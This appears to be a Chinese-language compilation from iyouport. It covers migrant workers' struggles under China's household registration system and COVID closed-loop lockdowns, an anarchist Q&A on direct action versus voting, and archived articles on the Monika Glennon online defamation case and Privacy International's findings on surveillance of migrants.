这些无形的边界有时会在物质上表现出来。尽管在2003年警察谋杀流民孙志刚之后，禁止将非本地人驱逐出城市，但城市仍然采取强制措施，驱逐被认为“不合适的人”。这包括用推土机推倒为流民儿童设立的非正式学校，甚至夷平整个流民社区。

最近最引人注目的强制驱逐农民工的例子是在2017年，当时北京市政

府以一场惨烈的火灾为借口，对工人阶级社区进行了大规模的驱逐和重建，在这个过程中有多达10万人被流离失所。被称为中国版的水晶之夜。

这种强制性的干预是由于全国性的劳动力市场和区域性的社会福利组织之间的不协调而产生的，这种动态一直在激励着零星的社会抗争。

在这一漫长的抗争过程中一直都有直接行动。比如90年代的时候，一小群父母将各自有限的资源集中起来，开办非正式的学校，为无法进入公共系统的儿童提供低成本的教育。其中一些互助式的行动在城市的机构间继续发展。虽然这些努力并没有扭转中国教育和经济不平等的趋势，但它们至少使数百万农民工能够与他们的孩子生活在同一个城市。

镇压也从未间断过。在北京，2010年至2018年期间，至少有76所流民儿童的学校被拆除。学校被拆除经常会引发对抗性的集体行动，包括向政府官员请愿，也包括封锁道路以示威，甚至更激进的行为比如自焚。这些抗争经常能够取得胜利，击退拆迁计划，并为儿童赢得公立学校的入学机会，即使中国富裕的大城市的排他性仍然在继续。

2017年秋季是一个标志性的时间点，当时流民社区（所谓的“低端人口”）对北京的非正规住房拆迁进行了抗争。这场反抗不仅引起了城市市民的广泛同情，而且还产生了实质性的跨阶层团结。来自各行各业的北京人通过互助网络组织起来，为数以万计的流离失所者提供临时住房、衣服和食物。知名学者签署了一封谴责拆迁的公开信。在习近平领导下学术自由大幅减少的背景下，这封信具有很大的风险和象征意义。一些依赖外来务工人员的公司急于组织临时住房，这虽然不是利他主义的，但也很重要。一个广泛的联盟几乎在一夜之间形成，以抵制一个拥有生命政治机制的城市国家，按照人民认为合适的方式重新组织生活。

在接下来的几年里，流民们为拉近工作和生活的距离而进行的斗争开始升级。

从对武汉的封锁开始就已经揭示了这个国家人口管理制度的许多情况。封锁作为“防疫”措施的成功不能归功于一个无所不能的中央集权国家，恰恰相反，是国家的无能和非理性使病毒首先得以传播。相反，密集的互助网络在疫情爆发初期就开始发挥作用，促进了整个城市和地区的基本物资的流动，从而使大多数人能够留在家里。尽管国家最终承诺消除病毒，但在武汉成功的关键是国家的协调能力与自下而上的举措相结合的结果。

在最普遍的层面上，疫情扩大了资本与商品、劳动力与人员之间的流动性差距。虽然全球流民和国际旅行数量因大流行病而明显下降，但全球贸易在2021年创下了28.5万亿美元的新纪录。**2021**年，中国与美国的贸易增长了**25%**，全球贸易顺差达到创纪录的**6766**亿美元。与此同时，中国在国际和国内对人员流动实行了激进的新管制。

武汉和上海的一个关键区别是，在最近的封锁期间，国家坚持让人们继续工作。要想努力维持资本的流通同时从根本上遣散劳动力，是很具挑战性的，但上海当局愿意尝试。他们采取的是2022年北京冬奥会的方法，其策略是使设施尽可能接近密封，只允许食品和药品等必需品进入，同时阻止几乎所有人离开封锁区。这种被称为闭环的策略允许资本流通，同时将人的流动性降到绝对最低。

当年春天晚些时候，上海的封锁启动时，很明显，闭环的逻辑已经渗出了奥运村，渗入了更广泛的政体。4月11日，上海政府发布了一份666家公司的“白名单”，这些公司可以在更广泛的封锁中重新开业（5月又增加了342家公司）。其中包括特斯拉**Gigafactory**和广达，这是苹果公司最重要的装配商之一。所谓的闭环管理要求工人们进入工厂并留在那里—— 只在工厂的范围内吃饭、睡觉和工作。当工人被带入闭环时，他们无法知道什么时候会被允许离开。

同时，白领工人所忍受的在家工作的制度，实质上是一个在家庭层面上组织的闭环。从三月开始，不同的社区经历了不同程度的封锁，在最极端的情况下，人们被封在公寓里。食物通过政府渠道、所谓的“团购”或网上送货服务进入。离开以家庭为基础的闭环是严格控制的，需要官方许可。一些积极的官员还在公寓出口前建起了真正的围墙，以阻拦居民的行动。城市居民中许多是富人，面临着食物短缺和焦虑，因为他们被告知要继续工作、照顾孩子和其他形式的劳动，同时要生活在实际的软禁中。

在工作中生活和家中工作，叠加了生产和社会再生产的空间，产生了有害的影响。甚至上海的许多穷人和工人阶级居民并不适合这种闭环。他们主要住在非正式的住房里，从事非正式的工作。许多人住在“群租房”里，往往超过了法定的居住人数，这是在上海昂贵的房地产市场上获得住所的一种方式。其他人则居住在没有合法地位的自建房中。这些居住在国家管辖范围之外的人群，在封锁期间往往没有得到足够的食品分配，使他们不得不自己购买食品，同时面临价格欺诈。由于这些人的职业—— 建筑工人、厨师和服务员、家庭佣工和性工作者—— 在封锁期间通常意味着他们几乎没有收入，因此购买市场价格的食品的挑战就更加复杂。这些工人中的大多数也是从农村到城市的流民，他们在封锁期间被阻止离开上海回到他们的故乡。其结果

是，这个大城市的广大底层民众的生存危机迫在眉睫。

人民明白了，这些措施不再是为了公共利益，就在他们被要求继续在家中、在办公室里或工厂的闭环中为资本工作。

上海人的英勇反抗从5月就开始了，在苹果供应商广达电脑公司爆发。被封锁在公寓中的人们在阳台上大喊和唱歌，彼此安慰，促进了情感上的团结一致。一段反应被封锁的人们的悲惨境遇的视频 “四月之声” 流量突破4亿。无数人不断转发它、复制它，突破了中国强大的审查封锁。再一次，愤怒将人们团结起来了。

反抗和直接行动也发生在所谓的“闭环”之外，如上海郊区发生的食品骚乱，由于许多位于非正规住房的农民工已经连续数周没有收入或政府提供的供应品。至少在一个案例中，人们抢夺了一辆蔬菜车，将里面的食物随意扔给聚集的人群。

媒体的奥弗顿之窗就是将所有焦点汇聚在对防疫政策的争议上，而忽略了这场抗争整体的背景—— 从而帮助削弱了反抗行动对系统的冲击力。

表面上看起来这些斗争都与封控有关，但它与大流行之前很多年来边缘化流民的统治暴力密切相关。在COVID-19之前，农村流民来到城市寻求工资劳动作为生存手段，因为农村已经无法满足他们的需求。但鉴于中国的户籍制度，将社会再生产迁往城市的努力面临着不断的障碍和驱逐。于是，流民社区一直在努力构建一个自己的小世界，包括学校和住房，相对靠近他们的工作场所。上海的封锁代表了空间上的逆向，同时表达了同样的政治逻辑。所谓的闭环并没有切断工作和生活的空间，而是将两者叠加起来了，这样所有的再生产过程都应该在工作场所发生。工作和生活相对接近意味着两者不应该在同一个界限内。闭环切断了工人与任何有意义的社会生活的联系，使他们沦为赤裸裸的劳动力。但工人们抵制了这种对身体运动施加独裁控制的努力。人们不会仅仅作为老板的劳动力而活着。

之后就是郑州。这个河南省会拥有世界上最大的iPhone组装厂，富士康拥有的工厂有超过20万名工人。这家工厂对地区经济极为重要，其产品占整个省份出口的60%，这是个令人惊讶的数字。在城市和工厂本身爆发疫情后，富士康实施了闭环管理，工人被禁止离开工厂。就像在上海一样，政府和雇主不能允许这个世界上最有价值的公司的生产网络中的关键节点出现问题，即使是在整个城市走向封锁的时候。

消息显示现场检疫的管理非常糟糕，生病的人据说得不到足够的护

理，甚至没有足够的食物可吃。工人们焦急而愤怒，就像春天的上海广达公司一样，他们冲向被封锁的出口。数百名甚至数千名工人跳过隔离墙向家乡逃走。在区域性的封控中，没有公共汽车或其他交通选择，富士康的逃亡者不得不沿着公路和田野长途跋涉。这种大规模的叛逃迫使富士康松口，允许工人离开，在某些情况下，工人家乡的地方官员安排了公共汽车运输。

这再一次凸显了工人们拒绝在资本加速流通的情况下关闭人类活动的反乌托邦冲动。虽然回到农村后，等待他们的可能是普遍的贫困，但这些逃亡者至少保证了他们自己的尊严和身体的自主权。

中国的人口管理制度是独一无二的，这既体现在户籍制度的强度上，也体现在大部分被征服的人口是由居于主导地位的种族的国家公民组成的这一事实上。正如我们一直强调的，中国国家将新疆和西藏等更加种族化的殖民环境作为试验田磨练了许多社会控制做法—— 这些镇压手段、大规模监控技术和生命政治控制战略正在越来越多地在内地大都市中部署。然而，即便在所有情况下，我们都看到了对身体运动权利、建立持久的社区和基本的社会再生产过程，以及作为不只是一个劳动者或消费者，而是作为一个公民而存在的不可抗拒的要求。

应该在更广泛的全球反抗资本主义边境制度的背景下看待中国人为使生活和工作相对顺利而进行的艰苦斗争。越来越多的活动家和学者已经表明，边界是如何作为一种空间控制技术，维护种族化的剥削和压迫制度的。控制某些人的流动是为了维持全球的统治关系。美国和欧盟通过将边境巡逻委托给全球南部的国家来输出流动性控制，同时也通过各种形式的治安、监视、监禁和正式的客工计划将边境内部化。在最好的情况下，日益增长的取消边界的要求是基于这样的信念：人类应该能够自由移动，并拥有政治和社会权利，使他们能够在他们可能占据的任何空间蓬勃发展。中国反抗者的愿望和斗争与世界各地的农民工和被剥夺权利的人要求废除边界的逻辑和逃离资本的闭环的战斗是密切相关的。

Q：四通桥的彭立发也是在诉求，要求选票，而你们总是在说"直接行动"，是说彭错了吗？直接行动真的能比选票更有用吗？

iyp：当谈到政治问题时，谈到对事情的发展有发言权时，投票是人们能够想到的唯一策略—— 通过投票来表达意见，以及影响他人的投票。彭先生并没有错，绝大多数人都会这样想。选票给人一种“被纳入了政治进程”的感觉，似乎可以对局势发挥作用。

而事实上，投票让别人来代表您的利益，是运用政治权力的效率最低

和效果最小的手段。广义上讲，另一种方法就是直接采取行动，自己来代表自己的利益。

直接行动有时会被误解为另一种竞选活动，即通过政治活动家的战术游说对官员施加影响力/压力，比如让官员意识到如果他们不这样去做，成本将是巨大的；但“直接行动”真正的意思指的是直接民主。

直接行动的具体例子比比皆是。当您开始建立自己的组织，寻找和解救被拐卖的妇女儿童，而不是排队上访或找警察投诉、声嘶力竭地呼吁“中央政府管管吧”的时候，就是直接行动。当一个人制作并分发传单来解决他所关心的问题，而不是指望那些被政权控制的新闻媒体来报道或刊登他给编辑的信时，就是直接行动。当人们下载使用伪装的颜色码前端动画和拆除水马自我“解封”时，都是直接行动。或者，一群具有足够知识水平的人组织起来为社区中的孩子们提供在家教育，而不是仅仅在社交媒体上对学校教育有多愚蠢吐槽发牢骚，然后再把自己的孩子送去学校，所有这些都属于直接行动。即，亲力亲为，毫无顾忌。自治和互助，

在很多方面，直接行动都是人们在社会中拥有发言权的一个更有效的手段，而不是投票。首先，投票是一种抽奖活动 —— 如果一个候选人没有当选，那么他的选民为支持他而付出的所有精力都白费了，因为他们希望他能为他们行使的权力被别人拿走了。相反，有了直接行动，您自己就可以确信您的工作将提供某种结果；而且您在这个过程中开发的资源，无论是经验、联系和在社区中的认可，还是组织的基础设施，都无法从您身上被夺走。

投票将整个社会的权力巩固在少数政客的手中；通过纯粹的习惯力量，更不用说其他的执行方法了，其他人被都处于依赖的地位。而通过直接行动，您会熟悉自己的资源、自己的能力和主动性，发现完整的现实状况究竟是什么，以及您能完成多少。

投票迫使运动中的每个人都试图在一个平台上达成一致；联盟为做出什么样的妥协而争吵，每个派别都坚持认为他们知道最好的方法，而其他派别则因为不配合他们的方案而把一切都搞乱了。大量的精力被浪费在这些争论和指责中。另一方面，在直接行动中，没有必要达成巨大的共识：不同的团体可以根据他们所相信的和感觉舒服的方式来应用不同的方法，这些方法仍然可以相互作用，形成一个互利的整体。参与不同直接行动的人没有必要争吵，除非他们真的在寻求完全冲突的目标（或者多年的投票习惯让他们变得下意识地与任何有差异的人争吵）。关于投票的冲突往往会分散人们对当前真正问题的注意力，因为人们会陷入一个政党对另一个政党、一个候选人对另一个候

选人、一个议程对另一个议程的戏剧性冲突中。另一方面，通过直接行动，问题本身被提出来，被针对性解决，而且常常被解决。

投票只有在选举时间到来时才有可能。而直接行动可以在人们认为合适的任何时候进行。投票只适用于解决候选人政治议程中的任何议题，而直接行动可以应用于你生活的每一个方面，在你生活的世界的每一部分。

投票被颂扬为行动中的“自由”。这不是自由 —— 自由是首先决定什么是选择，而不是在百事可乐和可口可乐之间选择。直接行动才是真正的自由。你制定计划，你创造选择，一切皆有可能。

归根结底，投票和直接行动的策略没有理由不能同时应用。其中一个不会抵消另一个的作用。问题是，许多人认为投票是他们行使政治和社会权力的主要方式，以至于每个人都把过多的时间和精力花在审议和辩论上了，而其他改变的机会却被浪费了。在每次选举前的几个月里，每个人都在争论投票问题，投票给什么候选人或是否投票，而投票本身只需要不到一个小时。不管投不投票，并无所谓，但请记住，还有其他方式可以让您的声音被听到。

我们需要的是一场运动，强调更直接的行动方式和社区参与所提供的可能性。这些不需要被看作是与投票相矛盾的。我们可以每年花一小时进行投票，其他三百六十四天和二十三小时直接行动。

那些对代议制民主完全失望的人，那些梦想着一个没有总统和政客的世界的人，都可以放心，如果我们都能学会如何主动运用我们每个人所拥有的权力，哪个政客能当选为官员的问题将成为一个没有意义的问题。他们之所以拥有这种权力，只是因为我们把这种权力委托给了他们。直接行动的运动将权力放回了它所属的地方，在它的发源地—即 人民—的手中。

Q：白纸最初时网络上就开始传非暴力教父吉恩·夏普的作品译著，我都不知道该怎么形容这事，如果你知道你面对的镇压者是谁的话，你现在应该赶紧找个防弹背心穿上吧，还有头盔，而不是去读什么非暴力理论。 我并不是说非暴力没用，我也绝对不是任何暴力爱好者，我深知仅仅暴力可能很难解决问题，但现在的状况是，参与这个辩论的人都是在试图把论题拉到所谓的道德的层面上来，各式的托尔斯泰主义者，不论如何这都不对劲，我不懂理论，但我知道在跟土匪过招的过程中道德无法决定输赢。 一半是托尔斯泰主义者，另一半是张献忠主义者。 无政府主义主张暴力还是非暴力？你们说的"基于战略的考量" 是个结论吗？这要如何说服托和张们？

iyp：国家根本上就是暴力的形式—— 暴力就是国家的母语。一旦争论转移到暴力与非暴力上，统治阶级就回到了他们自己的主场，在那里，永远都是他们最能证明自己的合理性并实施自己的行动，而不是您。

对于行动者来说，在部署战术之前您必需了解一些原理 ……

📱 预告下集话题：

「图」

托尔斯泰还是张献忠？

□□

—— 未完待续 ——

原文

当一个陌生人想要毁掉你的生活……来自社交媒体时代特有的威胁 - iyouport

你如何正在被互联网所改变-媒介效应你应该了解的现实你的反乌托邦在线生活阴云密布故事

【2018年7月29日存档】这是一个极其狗血的故事，但它是真实的，就发生在不久前。关于一场互联网舆论纠纷最终演变成悲剧的故事。

如果你曾经在互联网上与人辩论过就一定会明白这个道理：没有人能做到说服他人，所有人都在表达自己，根本不会去听你说了什么。然而一旦你无意中激怒了他人，后果有可能不堪设想……

我们想问：为什么会这样？政治极化、无法容忍不同意见，甚至仅仅是误解就能造成可怕的现实后果，是否有人想过对方是一个活生生的人，而不是一个 ID？“一时兴起”会给另一个人带来什么？还有媒体平台，对点击量单纯的渴求，究竟造成了怎样的伤害。

Monika Glennon 过去12年来一直住在美国阿拉巴马州的亨茨维尔。除了明显的波兰口音外，她已经适应了全美生活的某种刻板印象。她是位美丽的金发女郎。她的丈夫是一位资深的海军陆战队员。她有两个孩子，一个男孩和一个女孩，已经成年并参军。她是 Re / Max 公司的房地产经纪人—帮助其他人实现自己的“美国梦”。

但在 2015 年9月，她突然陷入了“美国噩梦”。一天早上6点，她在 Re / Max 的一位同事打来了电话，告诉她在 Re / Max 的 Facebook 主页上被发布了一些关于她的可怕的信息。Glennon 起初认为那同事的意思是说客户给她留下了不好的评价，但很快发现，结果比这更糟糕。

这是一个关于 Glennon 出现在 Homewrecker（“家庭破坏者”网站）上的一个故事的链接，这个网站存在的唯一的目的是羞辱所谓的“另一个女人”（就是中国的抓小三儿）。Homewrecker 上的帖子的作者声称，她和她的丈夫聘请了 Glennon 作为他们的房地产经纪人，一切

都很顺利，直到有一天晚上，她看到 Glennon 和她的丈夫在地板上做爱……她发布的唯一一张照片是 Glennon 的职业头像，取自她在 Re / Max 网站上的员工介绍页面。

Glennon 吓坏了。这故事是完全捏造的，她不知道为什么有人会写这样的东西。Facebook 上一名叫 Ryan Baxter 的人将该故事发布到了 Re / Max 的主页上。更要命的是利用了 Facebook 的好友关系，那个叫 Baxter 的人通过 **Glennon** 的 **Facebook** 好友名单，将这个捏造的故事发送给了她的丈夫、家人以及她的许多专业人士朋友。

“很抱歉把你扯进来了，”Baxter 在 Facebook 消息中写信给 Glennon 的丈夫 Scott。

Glennon 很愤怒，她去了那个叫 Homewrecker 的网站，在该故事的评论部分写道：这完全是捏造的！一位名叫 Amy 的女士持怀疑态度，“呵，那么为什么会有人编造这样一个恶心人的故事呢？”

要命的事儿接踵而来。这个故事在其他网站上被重新发布，其中包括一个名为 **BadBizReport.is** 的网站，数据显示已经被浏览超过 **95,000** 次。由于点击量太高了，如果你谷歌搜索 **Glennon** 的名字，这故事将作为“最佳搜索结果”出现。

现实作用很快就来了：她的业绩数量下降了一半。她估计自 2015 年那件事发生以来她的业务损失足有 **20** 万美元。

她对这篇故事的作者感到很困惑。她认为有可能是一个竞争对手的房地产经纪人所为，或者是一个对她很生气的熟人。总之她不知道是谁干的。

“我拼命环顾我生命中的每个人，甚至每个陌生人，我很想知道是谁做了这样的事，以及为什么，” Glennon 说。“这会让你重新思考生活中的每一段关系。充满怀疑。”

最终，在 **10** 万美元的律师费账单后，Glennon 才知道了罪魁祸首的真身。事实证明，那只是一个完全陌生的人，那人只是被 Glennon 发布在 Facebook 上的一篇新闻文章的评论惹恼了……却毁掉了另一个人的生活。

- ○ ■ ■ ■ 2014 年，一位来自阿拉巴马州的青少年参观了奥斯威辛集中营，并在集中营门前发布了一张微笑的自拍照。就

是下图这样。没想到这张照片在社交媒体上形成了病毒式的传播，完全可以想象，对于一个“青少年的德行问题”的热议。

追求点击量的媒体马上来凑热闹了，位于阿拉巴马州亨茨维尔的电视台 WHNT News 在其 Facebook 页面上发布了这个故事，并且要求读者“分享你的想法”。很简单就是吸引流量。

果不其然，引来了激烈的讨论。 Monika Glennon 就是捍卫这名少年的人之一，她说孩子们会犯错儿，至少她造访了集中营……

但一位名叫 Mollie Rosenblum 的女士不同意。她对包括 Glennon 在内的几位青少年自拍的支持者做出了回应，称奥斯威辛是一个阴沉的反思之地，而不是一个适合自拍的地方。她说自己是犹太血统，并暗示其他人并没能理解大屠杀。

Glennon 回应 Rosenblum，告诉她奥斯威辛不是“她”的地方，它“属于所有人，而且是曾经的杀戮地带”，其中包括最初的波兰人。

> *If you've ever argued with someone online, you're probably not surprised to hear that neither person was convinced by the other person's arguments.*

如果你曾经和网上的某个人争论过，这种状况可能对你来说并不陌生，你知道的，没有人会被其他人的论点所说服，这就是社交媒体的典型特征。Glennon 很快忘记了这段交流并开始了自己的生活。但 Rosenblum 可没有。

这是 Rosenblum 生命中的一个低谷。她是一个有两个儿子的单身母亲，按照她自己在 Facebook 上发布的说法，“在完全的甲基苯丙胺成瘾中……作出了非常糟糕的决定”（包括在2016年，绑架）。

她花了几个小时在网上研究 Glennon，很快就知道了，自己在现实生活中见过 Glennon。这是一个在线版本的愤怒，Rosenblum 决定毁掉 Glennon 的声誉。Rosenblum 将她捏造的故事提交给了 Homewrecker 网站，然后“忘了这事儿”，这是她后来对一家当地新闻媒体表达的说法。

互联网上有一些网站，只是作为人们发泄的场所，更重要的是，发泄怨恨。**Homewrecker** 就是其中之一。这些网站提供了一个宣传个人

错误行为的机会，这样他们不仅可以获得各种相关八卦，而且只要任何人使用谷歌搜索那个人的名字八卦就会出现。网站的服务条款规定帖子“必须是真实的”，但如果不是，对网站来说也完全不是问题，他们不会去验证。这一点受到了“通信规范法案”第 230 条的保护，该法案保护网站不被其用户所说的内容起诉。

Rosenblum 在2014年8月就撰写并提交了这个歪曲的故事，但直到 2015 年 9 月才得以发布，那时候 Rosenblum 已经忘记这件事很久了。这是因为，在发布之前 Homewrecker 会对提交的内容进行审核，当被问及延误的原因时，该网站的律师大卫·金格拉斯（David Gingras）推测 Rosenblum 发布的故事可能“已经被搁置了一年”，而出版的原因很可能是该网站想促销自己。

Homewrecker 网站于 2013 年由 Arielle Alexander 创立，但她于 2015 年8月将其出售给由 Rich Richie 经营的 Relic Agency，后者还创立了 The Dirty，这是另一个著名的发泄平台。

如果没有被 Ryan Baxter 搬到 Facebook 上，这故事可能会一直在那个八卦网站上默默无闻。 就是那个叫 Baxter 的人将故事发布到了 Re / Max 公司的 Facebook 主页上，并通过电子邮件发送给了 Glennon 的老板，还将其发送给她的许多 Facebook 的联系人。

Baxter 显然是这个八卦网站 **Homewrecker** 的常客，他/她习惯于加重对网站上的人们造成的伤害。这是一种社交媒体时代特有的奇怪“爱好”。而且这种“爱好”颇为普遍，人们只是在为了吸睛度而转发和评论，根本不考虑真伪，不考虑为另一个人造成了什么。

- ○ ■ ■ ■ 被诬陷的 Glennon 反复写信给所有转载了该故事的网站，告诉他们这是错误的，但没有一个网站当回事儿。她被逼到绝路上了，唯一的办法就是上法庭。她在 2016 年提起了诉讼，指控诽谤和肖像权侵犯，因为该故事帖子使用了她个人拥有的职业头像。

通过诉讼，Glennon 能够获得 Homewrecker 网站发布者和 Facebook 转发者的 IP 地址，以及互联网服务提供商，以找出 IP 地址背后的人的身份。

在提起诉讼几个月之后，又有一个帖子出现在另一个网站上，题为“报告我的前任”，由一名自称是已婚男的家伙说自己被 Glennon 欺

骗！该帖子再次耸人听闻地详细说明了从未发生过的性行为。

完全不难想象这种事的发生，当一个消息成为热点，所有人一拥而上的时候，肯定会有人“不甘寂寞”，希望更深层地融入其中**……**还有人记得 **Paul Ingram** 的案子吗？那是个经典案例，很多声称被乱伦侵害的人是在一场轰轰烈烈的运动的指引下“不甘寂寞”的结果，他们只是在借助编造的经历成为被同情怜爱的“主角”。

“这真的很让我害怕，我担心会有其他男人找我做房地产经纪人的理由只是想和我发生性关系”，Glennon 说，“所以我让我丈夫跟我一起去空置的房子里处理预订工作。我们在家里安装了监控系统，因为我很害怕。“

通过传票，Glennon 了解到，把诽谤故事贴到 Facebook 的那个“Ryan Baxter ”是一个住在加利福尼亚州奥克斯纳德的完全陌生的人，名叫 Hannah Lupian。Lupian 受到法律投诉后不久，“Ryan Baxter” 的个人资料从 Facebook 上消失了。Glennon 从来没有听过这个 Lupian 的消息，也无法与其取得联系。

那个 Rosenblum 也就是该故事的“原创”，就是另一回事了。在意识到自己的身份将被她的 ISP 透露后，她给 Glennon 的律师发了电子邮件，道歉，但是宣称如果 Glennon 继续合法追讨，她会“通过公开他们的首次接触来保护自己”。六个月后，也就是2017年9月，Rosenblum 采取行动，在 Facebook 和 BadBizReport 的评论部分，她为自己称 Glennon 是一个奸妇的谎言道歉，但她说，这是因为要报复 **Glennon** 的“隐晦的反犹主义”。

“虽然 Glennon 太太并不是一个通奸的女人，但她在我看来是有罪的，因为她在 Facebook 上发布那样的话”，Rosenblum 在 Facebook 上写道。

Glennon 早已被吓坏了。她不希望在网上被写下关于她的更多可怕的事。

“我怎么可能是纳粹的同情者？我在共产主义波兰的一个贫穷家庭长大，“Glennon 说，“我看到了这些评论，并通过 Facebook Messenger 与[Rosenblum]取得了联系，我说，’这已经达到了你能对我所造成的伤害的最大程度。咱们见面聊吧。随便你问我什么，当面问。’“

他们同意在阿拉巴马州的一家餐馆见面，这是一个距离 Glennon 所在地一小时路程的小镇，Rosenblum 就住在那里。会面时间持续了四个

小时。

“她以为我是个富有的婊子。这是社交媒体的问题，人们胡乱对他人做出这些假设。在见到我真人之后，她做了一份宣誓书，承认她自己所做的一切。面对面让她明白了我究竟是什么样的人“，Glennon 说。

Rosenblum 没有通过电子邮件或 Facebook Messenger 回复媒体查询。最近的7月4日，她在 Facebook 上开始表现活跃。

亲自见到 Glennon 似乎化解了 Rosenblum 的愤怒。她再次回到 BadBizReport 的评论部分，收回她所说的话，并道歉。

“Glennon 太太实际上是一个善良而富有同情心的人，我与她之间有着许多共同的价值观，“ Rosenblum 这样写道，“对于我为她和爱她的人的生活带来的伤害，请接受我最深的道歉。”

Rosenblum 想把这些帖子删掉，但她做不到。因为在诸如**“She’s A Homewrecker”**之类的提交网站上，根本没有删除按钮！更不用说其他网站上出现的帖子的副本了！

“我看到很多人在评论中表示他们后悔了，并希望将帖子删除，但他们完全做不到”，Glennon 说。

Homewrecker 网站的律师 David Gingras 甚至对此嗤之以鼻。他说：“作者无法删除自己的帖子这样的设计是旨在降低威胁的有效性，例如：“删掉这个否则我会起诉你让你破产”，他补充说：“虽然网站的政策不允许作者自行删除自己的帖子，但网站仍将根据具体情况考虑作者的删除请求……这真的只能取决于具体情况。该网站通常也会删除被法院认定为虚假的内容。“”

好吧，看起来还是得过堂。Glennon 已经赢得了她对 Rosenblum 和那个转载人 Lupian 的诉讼，在阿拉巴马州北部的一个联邦法院，法官下令发布 Rosenblum 故事的网站将其删除。现在 Homewrecker 网站已经删掉了，但这个故事仍然在 BadBizReport 网站上。BadBizReport 网站表示，它不会回应法院命令，并且“一旦你被列入本网站就甭想摆脱了，”并补充说：“美国律师太可笑了”……

幸运的是，法官还命令“谷歌”这样的搜索引擎对该帖子的所有版本去掉索引，“以确保万一有人搜索 Glennon 女士的名字时，这个故事不会作为搜索结果出现。”

不过，如果是在欧洲，从搜索结果中删除不相关的或虚假的信息的权利在法律上称为“被遗忘权”。但这是在美国，您想这么做的话，必须花钱。

而且是 **10**万美元！“这对一个工薪阶层来说简直不可思议”，Glennon 说。

并且，谷歌和其他搜索引擎是否会遵守这一要求完全是不确定的。

“谷歌曾经会遵守美国法院命令的清除请求。然而，在2017年，谷歌据称对此删除请求提高了标准”，圣克拉拉大学法学教授 Eric Goldman 说，“不幸的是，由于法院命令的清除可以通过各种方式以非法原因获得，因此，我认为谷歌应该仔细评估法院的命令，而不是照单全收”。

Goldman 补充说，他认为 Glennon 的移除请求是合法的，因为诽谤故事的原创 Rosenblum 也希望移除这个帖子。

“谷歌有理由尊重这一特定的指令，尽管可能需要谷歌进行一些研究才能确认其合法性—谷歌真的不愿做这种研究”，Goldman 说。Google 发言人表示，该公司会审查所有要求从搜索中删除链接的法院命令。仅仅去年，要求删除的诽谤信息链接就超过 30000 次。

法官尚未决定将给予 Glennon 的赔偿金。 诽谤原创 Rosenblum 和转载人 Lupian 似乎都没有足够的资产，因此 **Glennon** 很可能无法收回她在诉讼中花掉的大部分钱，即使她赢了。

Glennon 表示，这次经历让她在网上更加谨慎了。她锁定了自己的 Facebook 帐户，这样陌生人就无法访问她的信息，而且重要的是，无法看到她的朋友列表。“令人惊讶的是”，她仍然会对新闻文章发表评论。

“但不再敢挑战周围人的观点了”，她说。

可是，言论自由呢？……还有人在乎这一基本权益吗？

When a Stranger Decides to Destroy Your Life by Kashmir Hill

原文

当您准备寻求庇护 …… 移民和难民需要注意的10大威胁 - iyouport

你应该了解的现实技术暴政

【2020年11月12日存档】“边界” 不仅仅是肉眼能看到的国界线，越来越多看不到的威胁正在操纵人们的命运 ……

这里是隐私国际组织的报告，介绍了部分监视实践和数据驱动的移民政策中部署的一些工具和技术，这些做法和惯例通常会导致对人的歧视性待遇、损害人的尊严、改写人的命运。这份报告以英国为例，因为英国比较典型（也是隐私国际组织的所在地），但目前大部分西方国家所采取的措施大同小异，于是您值得了解这些事。

部分发现：

1、移民正承受着新的负担，变得更加被动，特别是当他们的命运被掌握在由数据处理和所谓的技术创新驱动的系统手中时。

2、移民被要求提供大量数据，从他们的指纹到他们的数字设备，这些人经常处于不断受到监视的状态。

3、私营的军事和维稳公司在向政府提供各种监视技术和数据利用“解决方案”及服务中扮演着重要角色。Hotel Hara, refugee camp – photo by Frantisek Trampota

在过去20年里，我们看到一系列数字技术被用于边境管制和移民执法，监视做法和数据驱动的移民政策经常导致对人的歧视性待遇，损害人们的尊严。

然而，这种情况的发生很少受到公众的监督，往往是在监管或法律空白的情况下发生的，而且不了解和不考虑对边境及其他地区的移民社区的影响。

这些做法意味着，移民正在承受新的负担，特别是当他们的命运被掌握在由数据处理和所谓的技术创新驱动的系统手中时。权利组织有必

要要求在公平、无障碍和尊重人权的原则基础上，采取更人性化的移民方法。

这不是新闻，而是一个不断恶化的现状。较早的文章见《手机元数据和 Facebook 个人信息如何决定了一个人的命运？– 逃难之旅的新坎坷》。

下面将介绍一些被广泛使用的工具和技术，着眼于全球情况。

1、数据共享：把公职人员变成边防兵

「图」

移民的一举一动都越来越多地被要求其个人数据。今天，对这些数据和新技术的使用正在推动移民执法工作的恶化，隐私国际组织警告这种手段极有可能损害基本人权，需要紧急关注。

移民被要求提供大量数据，从他们的指纹到他们的在线数据足迹，他们往往处于不断被监视的境地。这些被收集到的数据以及推断和观察到的数据被用来决定一个人的生活将会如何改变，但在管理和监督移民程序中对技术的使用和数据处理方面的保障措施却极为有限。

Liberty 发布了 “Care Don’t Share” 报告，其中写道：

在英国，作为其臭名昭著的 “敌对环境” 政策的一部分，政府制定了一系列暗中交易，让内政部移民执法小组获得由学校、医院、就业中心和警察收集的大量个人数据，并利用这些数据追踪儿童和成年人，以便将其驱逐出境。

人们应该能够获得基本的公共服务，例如送子女上学、寻求医疗协助和举报犯罪行为，而不必担心被移民执法机构抓捕。

隐私国际指出，鉴于现有的和不断扩大的移民数据处理政策和做法，迫切需要对从事或参与处理移民数据的实体进行监管和监督，以确保它们遵守国际公认的数据保护原则和标准以及人权。

移民执法和边境管理当局不能免除必须保护移民及其数据的责任。这就是为什么在2019年，隐私国际组织和一些移民和数字权利组织加入了无证移民国际合作平台(PICUM)对英国提出的正式投诉。

2、手机取证：没有例外

「图」

各国政府越来越多地使用移民的电子设备作为核查工具，往往是为了证实他们向当局提供的信息。这种做法得益于所谓的移动设备取证工具的泛滥，使操作者能够从智能手机上下载各种关键数据，包括联系人、通话数据、短信、存储文件、位置信息等。

- 《警察查手机的东西长什么样？—— 从技术角度看移动设备取证》
- 《让政府机构从您使用的应用程序中提取大量数据的秘密技术：云取证》
- 《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》

这些做法构成了对隐私人权的严重侵害，既没有必要也不合理。此外，认为从数字设备上获得的数据可导致可靠证据的假设是错误的。如果一个人声称某些信息是真实的，而他们的智能手机上存在的信息表明不是这样，这并不能证明他们是不诚实的。可以有各种合理的理由解释这点关于为什么提取的数据会与申请人提供的信息不同。

在德国、丹麦、奥地利、挪威、英国和比利时等很多国家，都有法律允许扣押寻求庇护者或移民申请人的手机，然后从中提取数据，作为庇护程序的一部分。

